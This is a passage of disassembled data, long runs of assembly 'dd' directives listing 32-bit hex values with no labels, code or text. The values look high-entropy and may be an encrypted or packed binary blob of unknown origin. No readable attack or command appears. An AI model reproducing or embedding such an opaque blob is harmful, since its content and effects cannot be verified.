		dd 0D09C562Fh, 76F6A1F2h, 0E67F5C31h, 50644997h, 2E17E5F0h
		dd 0ECFC32FEh, 7510BF4Fh, 7408500Bh, 53070E79h,	0DB1C302Dh
		dd 0F389E9A1h, 6DC3CD6Eh, 0BF407755h, 0CB45EC5Fh, 9655570Dh
		dd 68500188h, 490E02F1h, 81403B58h, 2DCF3503h, 0E94C1296h
		dd 5AE6422Fh, 7A5F9068h, 74095FB7h, 40B4C48Fh, 1F1EB99Eh
		dd 2590342Ch, 0EE3C560Bh, 60F9D407h, 165FC4CFh,	324E157Bh
		dd 84BE3B84h, 0D25FF861h, 0CA881DB5h, 411223F3h, 6F8D904h
		dd 75C11890h, 35F212E6h, 67B2BE29h, 0A9DBF4C4h,	5FC200F6h
		dd 0C381459Eh, 9B60478h, 0FCD9011Ch, 6E90628h, 981343D7h
		dd 0F2355270h, 0B8BD087Eh, 7D2F29DEh, 3FB2A116h, 0DE11A122h
		dd 4AA7008Ch, 33E936DEh, 410D5855h, 2338A668h, 0E9560547h
		dd 0CEB5221Fh, 5D3A4D7Eh, 87613B92h, 34125248h,	9A8DF02h
		dd 3308077h, 0B0266B71h, 5855098Dh, 0D9575994h,	31E0250Ah
		dd 0F24EA653h, 0C70230ADh, 1C8403BFh, 8A07D76h,	94A004B2h
		dd 0B1C90AE1h, 2EE55DE6h, 0C6160B4Fh, 0B65D9F55h, 6CF55823h
		dd 0B828F984h, 74DDC495h, 67500513h, 0BA30AB17h, 2FE70BEDh
		dd 3CB2012Eh, 0E9510C01h, 0E6FBA5ACh, 5CD0C928h, 4D2D0354h
		dd 3FE02671h, 4ACD6A8Bh, 4AC31257h, 0B8AA4094h,	49690468h
		dd 0FBE0D10Ah, 0B591EC8h, 87E9925Ah, 835DDFE0h,	0D1AD42FFh
		dd 20A070FDh, 0BA74A110h, 14BD3717h, 0E2ED87EFh, 1CD7A051h
		dd 21DBA036h, 42199E0Ch, 4C18BE56h, 0D368B526h,	0DE99953Ah
		dd 6E4D0902h, 0C55EE042h, 62660AC4h, 39FEEF01h,	325A0BFEh
		dd 93F75B22h, 9EA65598h, 0BE1E2EAh, 0B18CAF0h, 4001FFFCh
		dd 7AF1017Ch, 1E02F6C7h, 0D590C108h, 2CE95D5Ch,	0EB664227h
		dd 0B68153E5h, 532DBD6Fh, 0B7C5443Fh, 4A8DEE3Ah, 6AF9DAE7h
		dd 0C09B4273h, 2676EF46h, 0BAC47D9h, 0A3DA98E9h, 1C08314h
		dd 0D0F700CFh, 0C26FD605h, 2C895B34h, 9525E9FFh, 4FB2FE3Eh
		dd 0FAAFAE04h, 0CA413031h, 5FAB357Ah, 0F48B1C06h, 0EFE8AE39h
		dd 0A85A3089h, 0A0219220h, 337FB5B5h, 930C1B96h, 302A1AE1h
		dd 2E25088Bh, 3CF856Dh,	0F42FCC00h, 0C12952B1h,	65E95756h
		dd 8249BFB2h, 553A39A6h, 16C7775Dh, 0D05A24A5h,	535A2891h
		dd 18875BC8h, 8DFF7FAh,	17622A68h, 540C7DFFh, 0D482AF75h
		dd 0BE0560B8h, 0F19988EBh, 25CB5E4Ch, 0B99887CBh, 5FB130F2h
		dd 44403F4Ch, 794B28EBh, 68FB209Dh, 0F0107097h,	96195CE8h
		dd 1D5BF584h, 8097B28Bh, 806AB76Ch, 0FAC1F1EAh,	0E1F6C2D5h
		dd 577CA523h, 0E70877C1h, 0BCC76A5Ch, 433B9620h, 0E416E61h
		dd 58486D82h, 34469E57h, 1FB9DE9h, 0B73794A7h, 0C2D2EC7Fh
		dd 9CBBA697h, 0FFD34E06h, 4E5AFD8Ch, 0A3323141h, 7CCB4820h
		dd 0BED03C12h, 0C1A0A0BFh, 0B8EF19Fh, 0E364A459h, 6B105F95h
		dd 0DAB2082h, 7BC670C1h, 9D30CFDh, 4E68B8F0h, 0FC245B8Ah
		dd 0F903F01Ah, 0B0298F52h, 167CBCEDh, 931883Bh,	548C4157h
		dd 699019B6h, 66E80D25h, 0F7CC201Fh, 0EAE4F4BDh, 14F627ACh
		dd 71C83812h, 5C5670C4h, 74209734h, 2E9D0502h, 0D8299C7Dh
		dd 0B4ED38E7h, 0E96C0C03h, 0CB287A3Bh, 7D17C8EAh, 48C1291Ch
		dd 80006ABDh, 0D0E01DF2h, 119E76F4h, 1D477D25h,	0C6AFCF9Dh
		dd 0E2681961h, 345B1D5Eh, 4E5E5980h, 0F7050C2h,	494D929Fh
		dd 509E316Fh, 6855E527h, 3D39E7E0h, 728912C3h, 737FFF8Fh
		dd 0C75D0905h, 0C347375h, 0C9EBAB11h, 8F1F820Bh, 52295735h
		dd 25B8EF83h, 34FA204Fh, 0BE0E820Bh, 0D34C2A6Ch, 1F77851Bh
		dd 2EE5CABBh, 0E2473266h, 0C4E16474h, 767AD6Ch,	0D802A335h
		dd 0E9C72404h, 5AB9323Ch, 4BE89410h, 0F0D3DEB2h, 0C10B68DBh
		dd 0DD6B6273h, 7503B500h, 0E1A03B27h, 7F0B4A61h, 58D189C7h
		dd 3FD70977h, 490B2FA8h, 2984A1D7h, 43B5DEBh, 98E6C62h
		dd 4B5A215Eh, 0C13B6DB2h, 3A08F67Ch, 0A0AC0E62h, 0CE814EFFh
		dd 2B481F77h, 0C4A01243h, 0D3E8FA2Ah, 5C0250B3h, 44B03B19h
		dd 2E79404Dh, 5D0B320Ch, 0B05A653Ch, 45956815h,	0E2E610D8h
		dd 8CDDAC51h, 70D7887Bh, 0B083B3Bh, 556F06F7h, 5FFEBE00h
		dd 981810BDh, 2CFAC53Fh, 63EF007Dh, 56BB5341h, 3D98DA2Bh
		dd 8CDCE33Dh, 0E4316EEh, 0AF6F3020h, 7952CBD2h,	7A22B826h
		dd 4124C10h, 175D8BFEh,	268327Bh, 11F800B8h, 3635053Fh
		dd 0C5CBF1Ah, 976020BFh, 0C998A778h, 4D77130Fh,	726FDE58h
		dd 2223A44Dh, 0E37759C4h, 0B75A8D22h, 9688A40h,	4A465B9Eh
		dd 5A38F809h, 0C0E5F947h, 0B76F13C2h, 62D0B776h, 602E4720h
		dd 46238453h, 70973FFBh, 0FBE1EDCh, 0B7BD40DFh,	0E97E6F3Eh
		dd 4B8CB949h, 125CBACCh, 0EB71E068h, 0C02D9529h, 2763F210h
		dd 0B315E58h, 9657D921h, 75E91850h, 16C7AB65h, 1DFB1002h
		dd 55FD295Dh, 0E9709174h, 3AF092A9h, 36A2D5Eh, 416D0232h
		dd 0CC607DF3h, 7A25946Fh, 0FD0E4254h, 0E927FA64h, 7DE90996h
		dd 0CAB7C4CCh, 20D95F11h, 27409D96h, 33475FBFh,	0A6682736h
		dd 0A473BBC8h, 1600A099h, 292F824Ah, 0ABCA2CAh,	89429F08h
		dd 0B9847667h, 0AD0CD830h, 94B5868h, 0F3012DA3h, 92634B59h
		dd 15E9C840h, 423AF69Fh, 0C05D5F5Dh, 3E7EB842h,	0F00B607Ch
		dd 1182535Eh, 0F45FFFE6h, 0D44CE4D7h, 0B5E2FF9Eh, 810CD69Fh
		dd 0ED0DB82Bh, 87C16A69h, 0C2F84803h, 62A8B656h, 6D71465Fh
		dd 56138526h, 2DED28FAh, 0BFEBE160h, 148D5661h,	0B6E7C170h
		dd 6027CF07h, 0E10129EAh, 60710551h, 0AAB2F1BFh, 680D9897h
		dd 646F4FD4h, 0BEE5820Ah, 0BD7EF1D5h, 870B8E25h, 8E424B07h
		dd 0D32CF359h, 0E962EFD1h, 7DD77A02h, 66A29362h, 2C0571CCh
		dd 13048AC9h, 3A96B131h
		dd 8BE596F8h, 6AE90B58h, 0E7DEC879h, 0E2549807h, 40A2247Fh
		dd 2CBA026Ch, 8AFFC97Ah, 8B1E493Ch, 0E033536Dh,	6F7DD8BBh
		dd 0F02D6102h, 0F0566A3Eh, 0E90780ABh, 0EF345A8Fh, 29680B60h
		dd 7D63012Ch, 18D22D59h, 390F200Ah, 2AFA7E5Eh, 19848B8h
		dd 9A2D7357h, 0FB60DA89h, 0B93AC04Bh, 3AA57130h, 0E81083B7h
		dd 0C2531FE7h, 9D58FC7h, 0CDF4456Bh, 586ED42Fh,	68255759h
		dd 52A37602h, 9FB44457h, 0D39782F0h, 42684399h,	57EB215Ah
		dd 91DB831h, 54665DEh, 7ED0AC4Bh, 12AF3962h, 4D15F27h
		dd 16229A1Eh, 62A181EAh, 0ABF7D058h, 0CA28E7EEh, 7CE7E0C0h
		dd 0B5B000C1h, 3224AC0Ch, 2CD019F6h, 9DF2362Eh,	5844EF41h
		dd 0E3AEF830h, 0B1511FB4h, 36B35382h, 25597828h, 0F8444E13h
		dd 0D36C8DB7h, 871B872Ah, 9CFDB94Fh, 0B7B4FCDCh, 7E76A762h
		dd 0B12E8C2h, 1C180DFh,	4822353Ah, 4E120D5Ah, 0A2E2F89Dh
		dd 0D098ABA3h, 58969C74h, 0A30E9C3h, 2DBA3C1Bh,	2C911710h
		dd 0C0351CC1h, 685307EAh, 159E3C5Bh, 3D2DD960h,	6565506h
		dd 0DB10A07Dh, 6EBC4F51h, 1205308Eh, 0B1E5FC22h, 0BF004B72h
		dd 55282B0Eh, 1409EE13h, 0F6089120h, 5126B93Ch,	0B6F6A0Ch
		dd 51E46CFAh, 108C8595h, 0FF215252h, 0D101382Fh, 5BC73AE7h
		dd 35451720h, 33409F1Fh, 0A124781Dh, 0D09842Ch,	4BE88EDAh
		dd 0C15D00DFh, 4A021203h, 41AAB91Ch, 82665908h,	0A269FF18h
		dd 5BF617Fh, 6807986Ah,	0A014DD2Bh, 0A1309405h,	842BC0AAh
		dd 604B5428h, 0FB7242FEh, 6B774B09h, 62DC9FEDh,	4A167345h
		dd 57B55E54h, 0F7E741ABh, 0FDF187D6h, 5F006E3Dh, 6C7F36BDh
		dd 0CD810229h, 28277310h, 0FB2EE0F5h, 233B276Ah, 670777F4h
		dd 0EDC00B29h, 1E176184h, 6A2468AFh, 77E91A57h,	0B302103Eh
		dd 0D64652BCh, 25A1D1BDh, 5F976A57h, 5CCC5D90h,	2780AD58h
		dd 5BB5E147h, 23AA873Ah, 0C4105AD7h, 800E5CAAh,	0EB675EC3h
		dd 0EB06B763h, 68C150D1h, 1E247FDCh, 0FD80AAFDh, 0C94E9CD9h
		dd 86965534h, 64AD56B7h, 9904AFFFh, 8ABB5452h, 0C1AF9680h
		dd 7F9974F4h, 0AFE47FBCh, 0CB5B99B6h, 11E69349h, 0C0423714h
		dd 54B2AFD3h, 0CDF8E909h, 49F49448h, 0A0895B80h, 81FA11FFh
		dd 0CB0E2052h, 0A0C3FB9h, 2CB09D5Eh, 0F7C0C1h, 0E50C4F24h
		dd 6197732Ch, 56020EACh, 7E3EF840h, 5B76570Bh, 801A0043h
		dd 9829D32Dh, 21012064h, 584798A0h, 814D2E07h, 0BD376E3h
		dd 0F530016Ah, 0E9204571h, 31FF3486h, 0CEA8D965h, 94865AFh
		dd 18F7D66Ch, 95D5CAAEh, 0EFBE9057h, 0DD881C51h, 0B84BFB53h
		dd 135939B8h, 0B5AECB2Ch, 0B163DA38h, 47FDABD4h, 957E9093h
		dd 55128D74h, 38D4C01h,	54590C02h, 0C59797FAh, 0BEE2AA28h
		dd 45C0B2A7h, 83EED972h, 61BEEB4Bh, 2BAC68E9h, 0A658D5F3h
		dd 0E2107484h, 0A5E0101Dh, 6CE8003h, 0A3EDEF6h,	1BC7F673h
		dd 9B226D05h, 0EC6B7F47h, 9525B8F3h, 490A55B9h,	8975272Fh
		dd 819D646h, 591358ADh,	0E27077AEh, 216A1CC1h, 0A70975F0h
		dd 87504E4Bh, 0A0223708h, 4E0F70A8h, 0AF37AE05h, 527CBF92h
		dd 0E5108C5h, 17035F4Bh, 676335Ah, 447CF544h, 910D187Ah
		dd 50A4C614h, 0A8DFA03Eh, 0B2019BBFh, 670A093Fh, 722A022Eh
		dd 79D82E0Bh, 2739DAB5h, 0DC3AD923h, 40F59CABh,	80A277A7h
		dd 5205F281h, 4A167E69h, 42076980h, 0EEDA48F7h,	3050850Bh
		dd 15696082h, 0D2A2C4C5h, 0E612082Dh, 0EC5E2A8Fh, 841F09C6h
		dd 895853B9h, 87085D69h, 3D928A87h, 0BA47E5Eh, 0EDF7FD63h
		dd 10D4ACFEh, 0C2800BD8h, 0C51D8A87h, 0D1ADCDACh, 0BCD2CEAh
		dd 0C8DA3B2Eh, 5080991h, 0AC64137Fh, 1723103Fh,	5FF07F70h
		dd 5C9D001Bh, 9804BF2Ch, 59E841E1h, 4BB23999h, 0E540B7EDh
		dd 0A8111696h, 0F516000Ah, 7D6B0EEAh, 203FFA97h, 6813F49Dh
		dd 0C3445C1Bh, 87176CF7h, 0AAD98243h, 25FACC55h, 6172BA35h
		dd 0AABEA4Bh, 8615FDCh,	0F70944BFh, 5915D6DEh, 6EE26505h
		dd 2DA8AAACh, 0C62BBE00h, 110B0579h, 0AC314F6Fh, 0F20741A8h
		dd 14071189h, 6C96A2C1h, 17529584h, 680BFCADh, 4EDB41F5h
		dd 84ADE91Eh, 44FA05FAh, 0FABF5733h, 81EF3E52h,	6B090A73h
		dd 0A1AB0594h, 46C890B7h, 25782F59h, 1068D755h,	5080F82Ch
		dd 698C0FB8h, 8E6B4FDEh, 6857F960h, 1613FA0Bh, 0A0A3967Dh
		dd 284BCE14h, 0CFE20CA5h, 0B8F2875Ah, 0DCC05A43h, 19CB087Ch
		dd 0A0DF31E8h, 53776F79h, 0D72625B2h, 5E9F411Ch, 50E942AEh
		dd 0D49034Ah, 0FD378AAh, 0E4A0E780h, 0BB007041h, 7D773291h
		dd 60EF295Fh, 0E9D83137h, 27FC0D24h, 0F94E4589h, 0CAB0837Ah
		dd 93B87004h, 0E92AC8FEh, 5B4FA999h, 9F2DAAECh,	0D2F3180Eh
		dd 53EAC242h, 0DAA27675h, 974696D7h, 56542268h,	0A996A7B5h
		dd 81C0E4E7h, 5012A4E6h, 0FEE8911h, 5627469Eh, 4EF8CE80h
		dd 0F6F80CA9h, 0B00EC338h, 85AD0C2Dh, 0C4925A51h, 3501BED9h
		dd 12A64594h, 2DC8D74h,	0E925CA27h, 0BA5DA064h,	540B77D4h
		dd 0D1F2C257h, 49E809ADh, 1A637A7Ch, 0CAE1030Fh, 60C7527Ch
		dd 3866EC06h, 0AC81FFDh, 0C66F0A99h, 5DD11290h,	0D90539B3h
		dd 2113B968h, 0BE2F2828h, 11C40522h, 41FF1BB8h,	233DEAD9h
		dd 0C02CB79h, 6F757EA2h, 0ECB26042h, 0A7A92F40h, 0BB58D385h
		dd 0B97FE53Dh, 0C6DE2AD2h, 5AEDD12Fh, 56E5A0E4h, 251AB8EBh
		dd 69E43F10h, 0C29726F0h, 56455DCAh, 0D6BD25B0h, 233E0411h
		dd 0DC3848E9h, 244C4BAh, 0EFF20180h, 685AD708h,	0B113C95h
		dd 0F13EE1E9h, 0F3502D2Ah, 505AB92h, 0DE813D4h,	892DFFC2h
		dd 9184DD07h, 0D131FF56h, 0A40D61D9h, 0DEADD756h, 998240B2h
		dd 87BAD28Ch, 8071029Dh, 42B9FD2Bh, 7A48E968h, 236C1331h
		dd 0F5948D3Dh, 0F6200B09h, 7ED5303h, 5FB00D4Dh,	0B9FC38EAh
		dd 67311A70h, 0D7F3E678h, 96C9FE07h, 215AA750h,	0C1F928AAh
		dd 20BC62D4h, 64EFEA57h, 0BBBE0A13h, 9529B9F0h,	5922D45h
		dd 10CEC4EFh, 6B20E7A1h, 0E2D76825h, 82CED5E9h,	97055F06h
		dd 2834A871h, 0C9072DF8h, 0CEFE021Ah, 14F4557Ah, 97A59DE6h
		dd 95B7B657h, 0D02D254Ch, 4E16DF8Ah, 0D24A6FFCh, 5EBCC8AAh
		dd 9D53B140h, 0FE6F64D4h, 95E739D8h, 2AE63D51h,	0E262DC12h
		dd 6DEAD672h, 6684EAE2h, 7A0BB1D4h, 0EF5E628Bh,	92C6AC24h
		dd 20B2B07Ah, 0C03F5C6Bh, 0C18005E1h, 81AB284Dh, 895BF926h
		dd 2F60112h, 36BD44h, 874BD3F7h, 0F756CB2Dh, 16629DB3h
		dd 58A0E920h, 76B90403h, 0EA3EAE1Bh, 0C0FB4657h, 43969192h
		dd 88E1254Eh, 1E109E20h, 53171323h, 21CE8C6h, 0F758FD68h
		dd 1653E0D0h, 404D017Ah, 0D50DCE05h, 9357D408h,	29ECC548h
		dd 572D9F7Bh, 0AE6BB405h, 2A6891A4h, 25D370B5h,	0E2B94FFEh
		dd 4B68F051h, 0D0ED19C0h, 9D201765h, 308F228h, 914EE957h
		dd 0DBB0541Dh, 57B9FBCBh, 20944C45h, 126984CEh,	681B47F2h
		dd 22E9ADB0h, 2AA0255Bh, 2FC5B504h, 84EC5F09h, 6FA008F8h
		dd 5F3D2B5Ah, 57859246h, 0BBD251A9h, 8EFA7B24h,	0A18F4B65h
		dd 0C2A9E917h, 0C5425973h, 0A91365F5h, 4FEE5A9h, 311F574h
		dd 94D78853h, 0BCAB2284h, 1E22DBFh, 0DAEE8068h,	0BE71D4C2h
		dd 2241B2A7h, 0C23C2034h, 39E7A8F2h, 65B91255h,	8044AA2h
		dd 0A0300E06h, 44121240h, 0A8081149h, 0A822DEDh, 0F00B468Ah
		dd 1FC3743Dh, 4B0ECF1Dh, 987789E6h, 0BF3047E0h,	60E23FDCh
		dd 0BC680156h, 30A67B7Ah
		dd 6A41085Fh, 783A7EADh, 9E51B353h, 6FD165D6h, 9B3B53C0h
		dd 25CE7C0Bh, 0A7461884h, 5768520Bh, 0B73F7A15h, 0E8B5B672h
		dd 0D6EFB63Eh, 2F21AF49h, 40CAC831h, 0B71F16ACh, 0C878292h
		dd 667D095Dh, 0D74B72Eh, 0D2B8F43Ch, 813BD741h,	0D332180Ch
		dd 20E06E20h, 5D4BCE28h, 0D90571C2h, 3BE98468h,	0F23C9027h
		dd 8D0F0131h, 0ABD7097Ch, 0F54D6813h, 0F3E613FCh, 0F71400ECh
		dd 316E8E3Fh, 0CE5FE9F8h, 0DEEBD516h, 4CAC4F8Bh, 7F71E9E1h
		dd 0F3ABC713h, 1A20D313h, 3330A1C0h, 5F4CFF0Fh,	0C4AA2C9h
		dd 0BE5A4B54h, 0AA2DE6CFh, 0BFB858E0h, 27FD3F1Eh, 0E447638Bh
		dd 685B3909h, 50326C2Fh, 7495C0FFh, 2F98270Ch, 0C506A2D2h
		dd 0D075E4Ch, 839012h, 9232F9EDh, 5D5A5588h, 2ADCE2F8h
		dd 443C1AC2h, 0C1B402Dh, 0F30F728h, 0AA255916h,	0E3524505h
		dd 0B2D806Bh, 3D4C68BDh, 0FBBC5EA2h, 0B77F88Bh,	0D30CF4BCh
		dd 0F5BEC000h, 0BA1EEF5Bh, 591F14A3h, 0CA04432Eh, 424EFCh
		dd 3C8509F2h, 242976F3h, 83E799E9h, 80C6285Ch, 0ED414A92h
		dd 0C60E724Dh, 4B325166h, 0F193D370h, 216D0D88h, 0E2F8E84Ah
		dd 64B8AEB4h, 0BB436E12h, 86020424h, 0DF834B71h, 0FE6D9185h
		dd 4149DE30h, 283B4EF6h, 2303BDA2h, 45661662h, 0D5F7904Dh
		dd 0FFE35FE9h, 81C49144h, 22465E09h, 3552FEF9h,	1EE4E1B5h
		dd 987291A5h, 0C35ACA20h, 0DC63C4D4h, 0B461ABDDh, 0BC216DEDh
		dd 417EB730h, 10E8CCC1h, 0F4FC2F0h, 0BCE49697h,	0D266A8AAh
		dd 0BF57D603h, 562B983Eh, 0D1682E4Fh, 1E986F3h,	295A0A4Dh
		dd 138438E4h, 80633827h, 39BB15D9h, 0E917FEFEh,	9FB7AAD7h
		dd 1DB5CA40h, 94EE882Dh, 13DE159h, 8CC3B11Dh, 0DE06AFF1h
		dd 0F15731E1h, 0ECB27AB9h, 5E237385h, 0EF60B0Bh, 0F303E85Ah
		dd 291BBE09h, 5397E9EEh, 140EB962h, 0E774075Dh,	6CBF1D7Dh
		dd 0BA530B1Bh, 450354Bh, 1D04C5C4h, 0F5011632h,	250FCBBFh
		dd 31E5022Ch, 198CD7F3h, 549FC57Fh, 685E028Eh, 80F651ADh
		dd 0CA2ABE63h, 7342E055h, 94B4856h, 610AC4Eh, 39536A3Dh
		dd 4348020Ch, 0EFE97818h, 5E5BFD70h, 0EC6ECACDh, 689F9960h
		dd 34F529D2h, 0DE91A18h, 19DC4E73h, 0D22AA402h,	27045E17h
		dd 0F61ED872h, 0DFBCDCA6h, 0DE12ADFDh, 55A3EF6Ah, 70490288h
		dd 2CE83A2Bh, 2AE1E90Ch, 20F38834h, 3A4F0757h, 30F80841h
		dd 802A485Ah, 0CEF2355Ah, 23A74225h, 9B21F13h, 59870C3Dh
		dd 312D8702h, 1E93BB07h, 0F3A3EFA9h, 30141D5Dh,	0E7CCDEFDh
		dd 9502D5ABh, 2D002E2Bh, 7AD2834Dh, 2A293826h, 9877AB5Fh
		dd 0F355B7D2h, 0A1ADBD81h, 0EFBA2505h, 1EFA52D5h, 0A452EC4Ch
		dd 8557240Eh, 0BF9C4A42h, 1CB43003h, 49F613FDh,	5B0F8FC1h
		dd 52276DEFh, 6FE4016Ch, 580D8620h, 8605466h, 5E3DF781h
		dd 3F3E05F2h, 0F8019F6Ah, 0E90E2D18h, 0CC414E1Bh, 154FCDE0h
		dd 1286BEADh, 5769E959h, 0A483405Fh, 516DCECDh,	694BB943h
		dd 20CF31B1h, 213168D7h, 0A54F396Ah, 0BC33BF2Bh, 18583455h
		dd 2CC21016h, 5BD7AC5Bh, 4C0046EAh, 55171A4Fh, 8AAB4A68h
		dd 8BA95E48h, 1F685381h, 1A72630h, 487A16E5h, 0BAFE9BBh
		dd 0D7A71BDEh, 1489FF30h, 0AA31FA80h, 88CA7C35h, 96A5F455h
		dd 82C7B62Fh, 7370255Dh, 653A0880h, 1457955h, 0C4944F1h
		dd 41C10A1h, 0EAB45FE9h, 76EAA140h, 4358BA7h, 48DA3CB9h
		dd 251FEFDBh, 5B8EC981h, 14301A8Ah, 0DE22047Dh,	0E8D3E962h
		dd 85A48FECh, 94FF75EEh, 605DEB72h, 84BC0DC9h, 0EEC1350Fh
		dd 0D6354C33h, 0E9F52C2Bh, 0D4C57C4Bh, 0EF1E40BAh, 1F4B70BBh
		dd 2E7C118h, 2E682B12h,	29765F5h, 6B780938h, 0C10DE2FDh
		dd 63CC1535h, 0F507845Bh, 438C0623h, 5838386Fh,	8E18C109h
		dd 3B31D612h, 44045FAh,	6B81BFBBh, 303EE828h, 2DC768E5h
		dd 0C2C6F195h, 0D3D75FF9h, 18E90666h, 7A9D54C9h, 343209B8h
		dd 88735CB8h, 2846BA00h, 4C310F51h, 174F2CD1h, 0B605BA5Ch
		dd 0B6820CA8h, 1200F814h, 505E6C0h, 82F5B184h, 4BC2D054h
		dd 81AC37C3h, 0C98C2C87h, 783FD10Dh, 2576106Bh,	0E50134Fh
		dd 7083AE5Fh, 1251295Ch, 4E33389Bh, 1AC192F2h, 0FB514C4Eh
		dd 0DD7859C0h, 6524FDA1h, 0E7E02BD7h, 0DC5381DCh, 0D1FE50E7h
		dd 282C3C49h, 0B80AD24Fh, 0DE612F6Dh, 0B6265F05h, 0C7C2B084h
		dd 235F7CC4h, 0B668848Ah, 0C4F2B82Ch, 3105186Ch, 0DF1AACE8h
		dd 0B32B304Ah, 7D5E16B2h, 0FDFA4478h, 0A524845Eh, 5F84F0FBh
		dd 99DA293Fh, 51E933Bh,	0D6C9E52Fh, 8BD3C85Fh, 18EFBD3Ch
		dd 0AC40E98Bh, 79C0BC78h, 39482A02h, 0AC059D9Eh, 0ACDE04C6h
		dd 37B30552h, 34F005BFh, 4DDE05D2h, 0DF980466h,	0BECAFE4Fh
		dd 0BA685804h, 450A34Ah, 4B053264h, 77C72F82h, 983D7B73h
		dd 5116E39Ch, 2AD57288h, 4B9859EFh, 0F137A95Ah,	92B17E9h
		dd 0DF663327h, 48F5BA1Eh, 82D12D4Bh, 56875053h,	0E1A29697h
		dd 0C6027468h, 0B88882B5h, 4CC2D5F1h, 5813FA55h, 165A6040h
		dd 0BD69FAE1h, 2094E53Bh, 4402212Ah, 75E974CAh,	0EE57DD6h
		dd 0F837C08h, 2D73C968h, 2AF761D9h, 0EBFAA94Ah,	0F40FFCBh
		dd 5816CB0h, 0EC9FE52Fh, 6FF1C801h, 0E95EFCACh,	0D66E8BFEh
		dd 0E1F42FF0h, 2502C5CBh, 27AD4775h, 25FCE6D7h,	10F528FBh
		dd 0DEF56E24h, 66C3C110h, 2A601868h, 44623488h,	0A6CFD116h
		dd 0A0AF4BF9h, 50BCB663h, 5F32F5B0h, 85AF505h, 1B6033EEh
		dd 525B05DCh, 55F121EAh, 6EA45146h, 0A6A2070Fh,	203B7A9Ch
		dd 0A0B7E41Ah, 0A57CEBB1h, 5A69FA72h, 3EF49D3Dh, 0ED570E04h
		dd 55272ACAh, 68CA3055h, 0BC394AE6h, 54E9C5CDh,	40827E0h
		dd 0C8FE5AF0h, 0B86EC4F6h, 2828323Fh, 4C8AA58Ah, 52249EF8h
		dd 5CDE0018h, 0C3BA7DA0h, 2FE19313h, 0B5EBECF4h, 2C3135E8h
		dd 20C76C9Fh, 56B57E39h, 685670E3h, 0A12AEECAh,	0E26F208h
		dd 19441CBBh, 0DBB0AE3Dh, 6268B1EAh, 61E08950h,	8982F962h
		dd 0B0C05DBFh, 0DAFBF101h, 0D1D309DFh, 97824937h, 0FAA9CB9Fh
		dd 3863E502h, 0EF845707h, 7EBB38C6h, 0A370265Dh, 0CD018F77h
		dd 417B10C5h, 4E0319EAh, 7E75F634h, 0C9EA405Fh,	55FE07Fh
		dd 41234D00h, 0B5E9D8E5h, 0BD00B156h, 0F8B6ACCh, 156EC401h
		dd 785713FDh, 0BAC085FFh, 295B8290h, 6012C3D1h,	0B3D4D518h
		dd 0D6BD4A10h, 2BE3ABD2h, 1310F584h, 0D620FAACh, 68EB2932h
		dd 0F5DCB20Bh, 681363F2h, 63C97904h, 0FA12097Ch, 10CDA811h
		dd 0B61D40E1h, 0E1BFD291h, 21BE3A79h, 680820B9h, 0AD3E9E7Ch
		dd 0FD83445Bh, 0F66B9D71h, 0E40112C5h, 76D541B5h, 0D5A7C2EAh
		dd 0A49FECE4h, 37926F91h, 43E4FF5Dh, 480A099Dh,	0A4B92344h
		dd 0AC55A1ABh, 8733FD2Dh, 1CA25BC8h, 7D9D5CF2h,	7414F809h
		dd 0A74B6225h, 0B8825589h, 8BC6DD03h, 782AB020h, 0A6F5C4F6h
		dd 2D5C0007h, 75DE44D7h, 560EC2Bh, 0D00119D4h, 9B071405h
		dd 69A76437h, 0EF45DB04h, 0E607B8F3h, 0F76C697Ch, 9A6D978h
		dd 4F209AE8h, 605B7E2Dh, 3E6847F3h, 454D5019h, 0CDB8C44Fh
		dd 0A502FC53h, 5C378704h, 6CE4E488h, 4AA9312h, 22070805h
		dd 64EEBF68h, 91B4EB65h, 3E4D28D3h, 6107826Eh, 81001CD0h
		dd 7F13E4C6h, 0FCE8F57Bh, 22D86882h, 5A49B2F7h,	4DA4250Ch
		dd 6961EED5h, 0CCF7F3FBh, 1C5950E8h, 5BEA47Ah, 706EC0BBh
		dd 312EB2Fh, 2C73A908h,	309402D4h, 60D76AC1h, 9510CE0Eh
		dd 7F7A6FD4h, 574503F1h
		dd 81433090h, 35EF0AF3h, 4AE0241h, 0C288BE1Bh, 0CCF65314h
		dd 99FE181h, 62802C21h,	7D860A65h, 594ECA31h, 553E0h, 58C052E8h
		dd 0D1BF32Dh, 7A72255h,	2D11CA07h, 0CA72AD76h, 0A8B7F4BAh
		dd 539840EBh, 0B0B738h,	3D045BF8h, 111B252h, 0D8B15150h
		dd 0CDECE180h, 3CE820F1h, 4BA10E49h, 5F7A31F0h,	9337ED5Dh
		dd 42D23887h, 6F82FC50h, 813A092Ch, 1805F571h, 0DDF74B3Fh
		dd 0C3A713FAh, 4F621085h, 0D5424E40h, 0A330A1A4h, 0E031048h
		dd 0A656661Ch, 73848939h, 305BD47Eh, 0E91EC320h, 81921493h
		dd 8B74DF2Ah, 97D28E20h, 57AF50D4h, 0E98A8915h,	81AD9F74h
		dd 32A721A7h, 0B75FF8ECh, 282400E8h, 0A0601A9Ch, 9D02123Fh
		dd 0CC82476h, 0CD2C5A17h, 27E91A56h, 0A7454DFh,	7A03DF2Fh
		dd 220B37BBh, 0FDE7885Ah, 0A04F5ACCh, 81F565BEh, 31668A1Eh
		dd 66E53A52h, 7AB90804h, 11056883h, 73E6FA85h, 0DEDAE90Ch
		dd 31485F8Ah, 0FECB9ED2h, 64B75C0Bh, 0B6525F6Fh, 326E51B1h
		dd 3BD4F173h, 0AFE8BF09h, 0FD1745DEh, 7404D8A4h, 1142041h
		dd 953DFE20h, 5298BFD8h, 0CBBFD24Bh, 0E2BFD372h, 53450F0Eh
		dd 36A87751h, 2D0F4132h, 2420F857h, 8EFFD4E9h, 0B7E5D309h
		dd 0E29C2314h, 2B3D3FE1h, 0FCA79906h, 7EF7FAAFh, 8963163Bh
		dd 856121F9h, 96B63C29h, 38095FBDh, 6D02F632h, 0D45D8ECEh
		dd 49F422Dh, 0A3BAD20Fh, 857590D3h, 8A569068h, 27506008h
		dd 2702AB78h, 7C6872FEh, 0CEECDF14h, 0A0168009h, 42D4C26Fh
		dd 0EA885A31h, 5052B56Bh, 5E38EA5Fh, 6DD0CBFh, 2BF20F71h
		dd 75170A04h, 982DFF7h,	8F700918h, 4964D48h, 2574025Fh
		dd 5110A4FBh, 0AD7E8BA2h, 0CA1457ADh, 6F3B680Eh, 7D5F4BCBh
		dd 5F605D89h, 9A1AE6F7h, 77BC53A4h, 0C5C20D8Ch,	0AB789816h
		dd 3CDC4D05h, 0A15A3CA6h, 88E86E03h, 7B65A9B7h,	0EB0194ABh
